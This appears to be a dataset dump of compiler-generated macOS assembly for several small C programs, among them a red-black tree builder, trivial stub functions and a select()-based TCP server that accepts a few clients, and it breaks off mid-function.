## %bb.3: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rax
movq 8(%rax), %rax
cmpl $1, 4(%rax)
sete %al
movb %al, -61(%rbp) ## 1-byte Spill
LBB3_4: ## in Loop: Header=BB3_1 Depth=1
movb -61(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB3_5
jmp LBB3_21
LBB3_5: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq 8(%rax), %rax
movq %rax, -32(%rbp)
movq -24(%rbp), %rax
movq -32(%rbp), %rcx
cmpq 16(%rcx), %rax
jne LBB3_13
## %bb.6: ## in Loop: Header=BB3_1 Depth=1
movq -32(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -40(%rbp)
cmpq $0, -40(%rbp)
je LBB3_9
## %bb.7: ## in Loop: Header=BB3_1 Depth=1
movq -40(%rbp), %rax
cmpl $1, 4(%rax)
jne LBB3_9
## %bb.8: ## in Loop: Header=BB3_1 Depth=1
movq -32(%rbp), %rax
movl $1, 4(%rax)
movq -24(%rbp), %rax
movl $0, 4(%rax)
movq -40(%rbp), %rax
movl $0, 4(%rax)
movq -32(%rbp), %rax
movq %rax, -16(%rbp)
jmp LBB3_12
LBB3_9: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rax
movq -24(%rbp), %rcx
cmpq 24(%rcx), %rax
jne LBB3_11
## %bb.10: ## in Loop: Header=BB3_1 Depth=1
movq -24(%rbp), %rdi
callq _Lrotate
movq -24(%rbp), %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
LBB3_11: ## in Loop: Header=BB3_1 Depth=1
movq -32(%rbp), %rdi
callq _Rrotate
movq -24(%rbp), %rax
movl 4(%rax), %eax
movl %eax, -44(%rbp)
movq -32(%rbp), %rax
movl 4(%rax), %ecx
movq -24(%rbp), %rax
movl %ecx, 4(%rax)
movl -44(%rbp), %ecx
movq -32(%rbp), %rax
movl %ecx, 4(%rax)
movq -24(%rbp), %rax
movq %rax, -16(%rbp)
LBB3_12: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_20
LBB3_13: ## in Loop: Header=BB3_1 Depth=1
movq -32(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -56(%rbp)
cmpq $0, -56(%rbp)
je LBB3_16
## %bb.14: ## in Loop: Header=BB3_1 Depth=1
movq -56(%rbp), %rax
cmpl $1, 4(%rax)
jne LBB3_16
## %bb.15: ## in Loop: Header=BB3_1 Depth=1
movq -32(%rbp), %rax
movl $1, 4(%rax)
movq -24(%rbp), %rax
movl $0, 4(%rax)
movq -56(%rbp), %rax
movl $0, 4(%rax)
movq -32(%rbp), %rax
movq %rax, -16(%rbp)
jmp LBB3_19
LBB3_16: ## in Loop: Header=BB3_1 Depth=1
movq -16(%rbp), %rax
movq -24(%rbp), %rcx
cmpq 16(%rcx), %rax
jne LBB3_18
## %bb.17: ## in Loop: Header=BB3_1 Depth=1
movq -24(%rbp), %rdi
callq _Rrotate
movq -24(%rbp), %rax
movq %rax, -16(%rbp)
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
LBB3_18: ## in Loop: Header=BB3_1 Depth=1
movq -32(%rbp), %rdi
callq _Lrotate
movq -24(%rbp), %rax
movl 4(%rax), %eax
movl %eax, -60(%rbp)
movq -32(%rbp), %rax
movl 4(%rax), %ecx
movq -24(%rbp), %rax
movl %ecx, 4(%rax)
movl -60(%rbp), %ecx
movq -32(%rbp), %rax
movl %ecx, 4(%rax)
movq -24(%rbp), %rax
movq %rax, -16(%rbp)
LBB3_19: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_20
LBB3_20: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_1
LBB3_21:
movq -8(%rbp), %rax
movl $0, 4(%rax)
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _Inorder ## -- Begin function Inorder
.p2align 4, 0x90
_Inorder: ## @Inorder
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
cmpq $0, -8(%rbp)
jne LBB4_2
## %bb.1:
jmp LBB4_3
LBB4_2:
movq -8(%rbp), %rax
movq 16(%rax), %rdi
callq _Inorder
movq -8(%rbp), %rax
movl (%rax), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rax
movq 24(%rax), %rdi
callq _Inorder
LBB4_3:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -12(%rbp)
leaq L_.str.1(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movb %al, -65(%rbp) ## 1-byte Spill
callq _printf
## kill: def $ecx killed $eax
movb -65(%rbp), %al ## 1-byte Reload
leaq L_.str.2(%rip), %rdi
leaq -16(%rbp), %rsi
callq _scanf
movl -16(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -64(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -24(%rbp)
shlq $2, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -64(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -56(%rbp) ## 8-byte Spill
movq %rax, -32(%rbp)
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -36(%rbp)
LBB5_1: ## =>This Inner Loop Header: Depth=1
movl -36(%rbp), %eax
cmpl -16(%rbp), %eax
jge LBB5_4
## %bb.2: ## in Loop: Header=BB5_1 Depth=1
movl -36(%rbp), %esi
addl $1, %esi
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
movq -56(%rbp), %rsi ## 8-byte Reload
movslq -36(%rbp), %rax
shlq $2, %rax
addq %rax, %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.3: ## in Loop: Header=BB5_1 Depth=1
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
jmp LBB5_1
LBB5_4:
movl $0, -40(%rbp)
LBB5_5: ## =>This Inner Loop Header: Depth=1
movl -40(%rbp), %eax
cmpl -16(%rbp), %eax
jge LBB5_8
## %bb.6: ## in Loop: Header=BB5_5 Depth=1
movl $32, %edi
callq _malloc
movq %rax, %rcx
movq -56(%rbp), %rax ## 8-byte Reload
movq %rcx, -48(%rbp)
movq -48(%rbp), %rcx
movq $0, 24(%rcx)
movq -48(%rbp), %rcx
movq $0, 16(%rcx)
movq -48(%rbp), %rcx
movq $0, 8(%rcx)
movslq -40(%rbp), %rcx
movl (%rax,%rcx,4), %ecx
movq -48(%rbp), %rax
movl %ecx, (%rax)
movq -48(%rbp), %rax
movl $1, 4(%rax)
movq _root(%rip), %rdi
movq -48(%rbp), %rsi
callq _Insert
movq %rax, _root(%rip)
movq _root1(%rip), %rdi
movq -48(%rbp), %rsi
callq _Insert
movq %rax, _root1(%rip)
movq _root(%rip), %rdi
movq -48(%rbp), %rsi
callq _maintenance
## %bb.7: ## in Loop: Header=BB5_5 Depth=1
movl -40(%rbp), %eax
addl $1, %eax
movl %eax, -40(%rbp)
jmp LBB5_5
LBB5_8:
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
movq _root1(%rip), %rdi
callq _Inorder
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
movq _root(%rip), %rdi
callq _Inorder
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -12(%rbp)
movq -24(%rbp), %rax
movq %rax, %rsp
movl -12(%rbp), %eax
movl %eax, -72(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB5_10
## %bb.9:
movl -72(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB5_10:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _root ## @root
.zerofill __DATA,__common,_root,8,3
.globl _root1 ## @root1
.zerofill __DATA,__common,_root1,8,3
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d "
L_.str.1: ## @.str.1
.asciz "Enter no. of nodes in tree : "
L_.str.2: ## @.str.2
.asciz "%d"
L_.str.3: ## @.str.3
.asciz "Enter values : a mid value, some values > mid and some values < mid "
L_.str.4: ## @.str.4
.asciz "\nNode %d : "
L_.str.5: ## @.str.5
.asciz "\nInorder Traversal of Original Tree (Unbalanced)\n"
L_.str.6: ## @.str.6
.asciz "\n\n"
L_.str.7: ## @.str.7
.asciz "\nInorder Traversal of Created Tree\n"
.subsections_via_symbols
| the_stack_data/178264800.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _func18 ; -- Begin function func18
.p2align 2
_func18: ; @func18
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
bl _func17
add w0, w0, #1
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _func18 ## -- Begin function func18
.p2align 4, 0x90
_func18: ## @func18
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movb $0, %al
callq _func17
addl $1, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/108581.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
mov w0, #0
str wzr, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
xorl %eax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/27776.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _cleanup ; -- Begin function cleanup
.p2align 2
_cleanup: ; @cleanup
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
adrp x8, _masterSocket@GOTPAGE
ldr x8, [x8, _masterSocket@GOTPAGEOFF]
ldr w0, [x8]
bl _close
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w0, #1
bl _exit
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #1280
sub x8, x29, #168
str x8, [sp, #264] ; 8-byte Folded Spill
adrp x9, _masterSocket@GOTPAGE
ldr x9, [x9, _masterSocket@GOTPAGEOFF]
str x9, [sp, #272] ; 8-byte Folded Spill
adrp x9, ___darwin_check_fd_set_overflow@GOTPAGE
ldr x9, [x9, ___darwin_check_fd_set_overflow@GOTPAGEOFF]
subs x9, x9, #0
cset w9, ne
str w9, [sp, #280] ; 4-byte Folded Spill
stur wzr, [x29, #-148]
stur w0, [x29, #-152]
str x1, [x8, #8]
mov w0, #2
adrp x1, _cleanup@PAGE
add x1, x1, _cleanup@PAGEOFF
bl _signal
movi.2d v0, #0000000000000000
str q0, [sp, #384]
str q0, [sp, #400]
movi.2d v0, #0000000000000000
str q0, [sp, #352]
str q0, [sp, #368]
movi.2d v0, #0000000000000000
str q0, [sp, #320]
str q0, [sp, #336]
mov w8, #92
strb w8, [sp, #418]
mov w8, #101
strb w8, [sp, #419]
mov w8, #120
strb w8, [sp, #420]
mov w8, #105
strb w8, [sp, #421]
mov w8, #116
strb w8, [sp, #422]
strb wzr, [sp, #423]
ldur w8, [x29, #-152]
subs w8, w8, #3
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_2:
ldr x8, [sp, #264] ; 8-byte Folded Reload
ldr x8, [x8, #8]
ldr x0, [x8, #8]
bl _strlen
subs x8, x0, #7
cset w8, lo
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
ldr x8, [sp, #264] ; 8-byte Folded Reload
ldr x8, [x8, #8]
ldr x0, [x8, #16]
bl _atoi
subs w8, w0, #16, lsl #12 ; =65536
cset w8, lt
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_5:
ldr x8, [sp, #264] ; 8-byte Folded Reload
ldr x9, [x8, #8]
ldr x9, [x9, #8]
str x9, [x8]
ldr x8, [x8, #8]
ldr x0, [x8, #16]
bl _atoi
sturh w0, [x29, #-170]
mov w0, #2
mov w1, #1
mov w2, #0
bl _socket
ldr x8, [sp, #272] ; 8-byte Folded Reload
str w0, [x8]
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB1_7
b LBB1_6
LBB1_6:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_7:
str wzr, [sp, #952]
b LBB1_8
LBB1_8: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #952]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB1_11
b LBB1_9
LBB1_9: ; in Loop: Header=BB1_8 Depth=1
ldrsw x10, [sp, #952]
sub x9, x29, #188
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB1_10
LBB1_10: ; in Loop: Header=BB1_8 Depth=1
ldr w8, [sp, #952]
add w8, w8, #1
str w8, [sp, #952]
b LBB1_8
LBB1_11:
mov w8, #2
sturb w8, [x29, #-203]
b LBB1_12
LBB1_12:
ldurh w0, [x29, #-170]
bl __OSSwapInt16
and w8, w0, #0xffff
str w8, [sp, #260] ; 4-byte Folded Spill
b LBB1_13
LBB1_13:
ldr x9, [sp, #264] ; 8-byte Folded Reload
ldr w10, [sp, #260] ; 4-byte Folded Reload
sub x8, x29, #204
sturh w10, [x29, #-202]
ldr x1, [x9]
add x2, x8, #4
mov w0, #2
bl _inet_pton
subs w8, w0, #0
cset w8, gt
tbnz w8, #0, LBB1_15
b LBB1_14
LBB1_14:
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_15:
ldr x8, [sp, #272] ; 8-byte Folded Reload
ldr w0, [x8]
sub x1, x29, #204
mov w2, #16
bl _bind
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB1_17
b LBB1_16
LBB1_16:
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_17:
ldr x8, [sp, #272] ; 8-byte Folded Reload
ldr w0, [x8]
mov w1, #4
bl _listen
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB1_19
b LBB1_18
LBB1_18:
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_19:
mov w8, #16
stur w8, [x29, #-208]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
b LBB1_20
LBB1_20: ; =>This Loop Header: Depth=1
; Child Loop BB1_26 Depth 2
; Child Loop BB1_50 Depth 2
; Child Loop BB1_71 Depth 2
; Child Loop BB1_83 Depth 2
; Child Loop BB1_118 Depth 3
add x0, sp, #960
str x0, [sp, #248] ; 8-byte Folded Spill
mov w1, #0
mov x2, #128
bl _memset
ldr x11, [sp, #272] ; 8-byte Folded Reload
ldr x9, [sp, #248] ; 8-byte Folded Reload
ldr x10, [sp, #264] ; 8-byte Folded Reload
ldr w8, [sp, #280] ; 4-byte Folded Reload
ldr w11, [x11]
stur w11, [x29, #-116]
str x9, [x10, #40]
ldur w11, [x29, #-116]
ldr x9, [x10, #40]
stur w11, [x29, #-40]
str x9, [x10, #120]
tbz w8, #0, LBB1_22
b LBB1_21
LBB1_21: ; in Loop: Header=BB1_20 Depth=1
ldr x8, [sp, #264] ; 8-byte Folded Reload
ldur w0, [x29, #-40]
ldr x1, [x8, #120]
mov w2, #0
bl ___darwin_check_fd_set_overflow
stur w0, [x29, #-36]
b LBB1_23
LBB1_22: ; in Loop: Header=BB1_20 Depth=1
mov w8, #1
stur w8, [x29, #-36]
b LBB1_23
LBB1_23: ; in Loop: Header=BB1_20 Depth=1
ldur w8, [x29, #-36]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_25
b LBB1_24
LBB1_24: ; in Loop: Header=BB1_20 Depth=1
ldr x8, [sp, #264] ; 8-byte Folded Reload
ldursw x9, [x29, #-116]
mov x11, #32
udiv x10, x9, x11
mul x10, x10, x11
subs x10, x9, x10
mov x9, #1
lsl x9, x9, x10
mov x10, x9
ldr x8, [x8, #40]
ldursw x9, [x29, #-116]
udiv x9, x9, x11
add x9, x8, x9, lsl #2
ldr w8, [x9]
orr w8, w8, w10
str w8, [x9]
b LBB1_25
LBB1_25: ; in Loop: Header=BB1_20 Depth=1
ldr x8, [sp, #272] ; 8-byte Folded Reload
ldr w8, [x8]
str w8, [sp, #956]
str wzr, [sp, #952]
b LBB1_26
LBB1_26: ; Parent Loop BB1_20 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #952]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB1_38
b LBB1_27
LBB1_27: ; in Loop: Header=BB1_26 Depth=2
ldrsw x9, [sp, #952]
sub x8, x29, #188
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB1_34
b LBB1_28
LBB1_28: ; in Loop: Header=BB1_26 Depth=2
ldr w8, [sp, #280] ; 4-byte Folded Reload
ldr x10, [sp, #264] ; 8-byte Folded Reload
ldrsw x11, [sp, #952]
sub x9, x29, #188
ldr w9, [x9, x11, lsl #2]
stur w9, [x29, #-132]
add x9, sp, #960
str x9, [x10, #24]
ldur w11, [x29, #-132]
ldr x9, [x10, #24]
stur w11, [x29, #-24]
str x9, [x10, #136]
tbz w8, #0, LBB1_30
b LBB1_29
LBB1_29: ; in Loop: Header=BB1_26 Depth=2
ldr x8, [sp, #264] ; 8-byte Folded Reload
ldur w0, [x29, #-24]
ldr x1, [x8, #136]
mov w2, #0
bl ___darwin_check_fd_set_overflow
stur w0, [x29, #-20]
b LBB1_31
LBB1_30: ; in Loop: Header=BB1_26 Depth=2
mov w8, #1
stur w8, [x29, #-20]
b LBB1_31
LBB1_31: ; in Loop: Header=BB1_26 Depth=2
ldur w8, [x29, #-20]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_33
b LBB1_32
LBB1_32: ; in Loop: Header=BB1_26 Depth=2
ldr x8, [sp, #264] ; 8-byte Folded Reload
ldursw x9, [x29, #-132]
mov x11, #32
udiv x10, x9, x11
mul x10, x10, x11
subs x10, x9, x10
mov x9, #1
lsl x9, x9, x10
mov x10, x9
ldr x8, [x8, #24]
ldursw x9, [x29, #-132]
udiv x9, x9, x11
add x9, x8, x9, lsl #2
ldr w8, [x9]
orr w8, w8, w10
str w8, [x9]
b LBB1_33
LBB1_33: ; in Loop: Header=BB1_26 Depth=2
b LBB1_34
LBB1_34: ; in Loop: Header=BB1_26 Depth=2
ldrsw x9, [sp, #952]
sub x8, x29, #188
ldr w8, [x8, x9, lsl #2]
ldr w9, [sp, #956]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB1_36
b LBB1_35
LBB1_35: ; in Loop: Header=BB1_26 Depth=2
ldrsw x9, [sp, #952]
sub x8, x29, #188
ldr w8, [x8, x9, lsl #2]
str w8, [sp, #956]
b LBB1_36
LBB1_36: ; in Loop: Header=BB1_26 Depth=2
b LBB1_37
LBB1_37: ; in Loop: Header=BB1_26 Depth=2
ldr w8, [sp, #952]
add w8, w8, #1
str w8, [sp, #952]
b LBB1_26
LBB1_38: ; in Loop: Header=BB1_20 Depth=1
ldr w8, [sp, #956]
add w0, w8, #1
add x1, sp, #960
mov x4, #0
mov x2, x4
mov x3, x4
bl _select
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB1_40
b LBB1_39
LBB1_39:
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_40: ; in Loop: Header=BB1_20 Depth=1
ldr w8, [sp, #280] ; 4-byte Folded Reload
ldr x10, [sp, #264] ; 8-byte Folded Reload
ldr x9, [sp, #272] ; 8-byte Folded Reload
ldr w9, [x9]
stur w9, [x29, #-88]
add x9, sp, #960
str x9, [x10, #72]
ldur w11, [x29, #-88]
ldr x9, [x10, #72]
stur w11, [x29, #-72]
str x9, [x10, #88]
tbz w8, #0, LBB1_42
b LBB1_41
LBB1_41: ; in Loop: Header=BB1_20 Depth=1
ldr x8, [sp, #264] ; 8-byte Folded Reload
ldur w0, [x29, #-72]
ldr x1, [x8, #88]
mov w2, #0
bl ___darwin_check_fd_set_overflow
stur w0, [x29, #-68]
b LBB1_43
LBB1_42: ; in Loop: Header=BB1_20 Depth=1
mov w8, #1
stur w8, [x29, #-68]
b LBB1_43
LBB1_43: ; in Loop: Header=BB1_20 Depth=1
ldur w8, [x29, #-68]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_45
b LBB1_44
LBB1_44: ; in Loop: Header=BB1_20 Depth=1
ldr x8, [sp, #264] ; 8-byte Folded Reload
ldr x8, [x8, #72]
ldursw x9, [x29, #-88]
mov x11, #32
udiv x9, x9, x11
ldr w8, [x8, x9, lsl #2]
ldursw x9, [x29, #-88]
udiv x10, x9, x11
mul x10, x10, x11
subs x10, x9, x10
mov x9, #1
lsl x9, x9, x10
; kill: def $w9 killed $w9 killed $x9
and w8, w8, w9
stur w8, [x29, #-84]
b LBB1_46
LBB1_45: ; in Loop: Header=BB1_20 Depth=1
stur wzr, [x29, #-84]
b LBB1_46
LBB1_46: ; in Loop: Header=BB1_20 Depth=1
ldur w8, [x29, #-84]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_82
b LBB1_47
LBB1_47: ; in Loop: Header=BB1_20 Depth=1
ldr x8, [sp, #272] ; 8-byte Folded Reload
ldr w0, [x8]
sub x1, x29, #204
sub x2, x29, #208
bl _accept
str w0, [sp, #948]
subs w8, w0, #0
cset w8, ge
tbnz w8, #0, LBB1_49
b LBB1_48
LBB1_48:
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_49: ; in Loop: Header=BB1_20 Depth=1
str wzr, [sp, #952]
b LBB1_50
LBB1_50: ; Parent Loop BB1_20 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #952]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB1_81
b LBB1_51
LBB1_51: ; in Loop: Header=BB1_50 Depth=2
ldr w8, [sp, #952]
subs w8, w8, #3
cset w8, ne
tbnz w8, #0, LBB1_57
b LBB1_52
LBB1_52: ; in Loop: Header=BB1_20 Depth=1
ldr w8, [sp, #948]
ldrsw x10, [sp, #952]
sub x9, x29, #188
str x9, [sp, #224] ; 8-byte Folded Spill
str w8, [x9, x10, lsl #2]
add x0, sp, #688
str x0, [sp, #232] ; 8-byte Folded Spill
mov w1, #0
mov x2, #256
str x2, [sp, #240] ; 8-byte Folded Spill
bl _memset
ldr x8, [sp, #224] ; 8-byte Folded Reload
ldr x1, [sp, #232] ; 8-byte Folded Reload
ldr x2, [sp, #240] ; 8-byte Folded Reload
ldrsw x9, [sp, #952]
ldr w0, [x8, x9, lsl #2]
mov w3, #0
bl _recv
subs x8, x0, #0
cset w8, ge
tbnz w8, #0, LBB1_54
b LBB1_53
LBB1_53:
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_54: ; in Loop: Header=BB1_20 Depth=1
add x0, sp, #432
str x0, [sp, #208] ; 8-byte Folded Spill
mov w1, #0
mov x2, #256
str x2, [sp, #216] ; 8-byte Folded Spill
bl _memset
ldr x0, [sp, #208] ; 8-byte Folded Reload
ldr x2, [sp, #216] ; 8-byte Folded Reload
adrp x1, l_.str.11@PAGE
add x1, x1, l_.str.11@PAGEOFF
bl ___strcpy_chk
ldr x1, [sp, #208] ; 8-byte Folded Reload
ldr x2, [sp, #216] ; 8-byte Folded Reload
ldrsw x9, [sp, #952]
sub x8, x29, #188
ldr w0, [x8, x9, lsl #2]
mov w3, #0
bl _send
subs x8, x0, #0
cset w8, ge
tbnz w8, #0, LBB1_56
b LBB1_55
LBB1_55:
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_56: ; in Loop: Header=BB1_20 Depth=1
ldrsw x9, [sp, #952]
sub x8, x29, #188
str x8, [sp, #200] ; 8-byte Folded Spill
ldr w0, [x8, x9, lsl #2]
bl _close
ldr x9, [sp, #200] ; 8-byte Folded Reload
ldrsw x10, [sp, #952]
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB1_81
LBB1_57: ; in Loop: Header=BB1_50 Depth=2
ldrsw x9, [sp, #952]
sub x8, x29, #188
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_79
b LBB1_58
LBB1_58: ; in Loop: Header=BB1_20 Depth=1
ldr w8, [sp, #948]
ldrsw x10, [sp, #952]
sub x9, x29, #188
str x9, [sp, #176] ; 8-byte Folded Spill
str w8, [x9, x10, lsl #2]
add x0, sp, #688
str x0, [sp, #184] ; 8-byte Folded Spill
mov w1, #0
mov x2, #256
str x2, [sp, #192] ; 8-byte Folded Spill
bl _memset
ldr x8, [sp, #176] ; 8-byte Folded Reload
ldr x1, [sp, #184] ; 8-byte Folded Reload
ldr x2, [sp, #192] ; 8-byte Folded Reload
ldrsw x9, [sp, #952]
ldr w0, [x8, x9, lsl #2]
mov w3, #0
bl _recv
mov x8, x0
mov x9, x0
str w9, [sp, #944]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB1_60
b LBB1_59
LBB1_59:
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_60: ; in Loop: Header=BB1_20 Depth=1
add x0, sp, #688
str x0, [sp, #168] ; 8-byte Folded Spill
bl _strlen
ldr x8, [sp, #168] ; 8-byte Folded Reload
subs x9, x0, #1
ldrsb w8, [x8, x9]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB1_62
b LBB1_61
LBB1_61: ; in Loop: Header=BB1_20 Depth=1
add x0, sp, #688
str x0, [sp, #160] ; 8-byte Folded Spill
bl _strlen
ldr x8, [sp, #160] ; 8-byte Folded Reload
subs x9, x0, #1
add x8, x8, x9
strb wzr, [x8]
b LBB1_62
LBB1_62: ; in Loop: Header=BB1_20 Depth=1
ldr w8, [sp, #952]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_64
b LBB1_63
LBB1_63: ; in Loop: Header=BB1_20 Depth=1
add x0, sp, #384
add x1, sp, #688
mov x2, #32
bl ___strcpy_chk
b LBB1_70
LBB1_64: ; in Loop: Header=BB1_20 Depth=1
ldr w8, [sp, #952]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB1_66
b LBB1_65
LBB1_65: ; in Loop: Header=BB1_20 Depth=1
add x0, sp, #352
add x1, sp, #688
mov x2, #32
bl ___strcpy_chk
b LBB1_69
LBB1_66: ; in Loop: Header=BB1_20 Depth=1
ldr w8, [sp, #952]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB1_68
b LBB1_67
LBB1_67: ; in Loop: Header=BB1_20 Depth=1
add x0, sp, #320
add x1, sp, #688
mov x2, #32
bl ___strcpy_chk
